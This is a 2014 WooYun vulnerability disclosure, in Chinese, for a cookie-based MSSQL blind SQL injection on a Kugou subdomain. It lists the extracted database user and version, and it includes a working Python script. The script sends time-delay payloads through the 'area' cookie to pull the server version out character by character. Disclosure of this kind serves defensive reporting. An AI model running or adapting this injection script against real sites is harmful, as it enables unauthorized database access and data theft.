当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081844

漏洞标题:酷狗分站MSSQL盲注一枚(附Python验证脚本)

相关厂商:酷狗

漏洞作者: lijiejie

提交时间:2014-11-03 15:33

修复时间:2014-12-18 15:36

公开时间:2014-12-18 15:36

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-03: 细节已通知厂商并且等待厂商处理中
2014-11-04: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

酷狗分站MSSQL盲注一枚,有脚本有真相...

详细说明:

注入点位于:

GET http://huodong.5sing.kugou.com/
Cookie: area=asfasfas


参数area可注入。Cookie注入一枚。

漏洞证明:

猜解当前数据库用户system_user,前20个字符,得到:

web5singdbman


猜解数据库版本前29个字符:

SQL Server version is Microsoft SQL Server 2008 SP


kugou.png


脚本附上:

import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive SQL Server Version:'
user = ''
for i in range(1,30,1):
for payload in payloads:
timeout_count = 0
for j in range(1,3):
try:
conn = httplib.HTTPConnection('huodong.5sing.kugou.com', timeout=3)
random.seed()
area = str(random.random()) + "fasfa'; if (ascii(substring(@@version,%s,1))=%s) waitfor delay '0:0:5' -- " % (i, ord(payload))
headers['Cookie'] = "area=" + urllib.quote(area)
start_time = time.time()
conn.request(method='GET',
url= '/Default.aspx',
headers = headers)
conn.getresponse()
conn.close()
print '.',
break
except:
timeout_count += 1
if timeout_count == 2: # 2 times to confirm
user += payload
print '[In Progress]', user
break
print '\n[Done], SQL Server version is', user

修复方案:

过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-11-04 14:44

厂商回复:

感谢提交!

最新状态:

暂无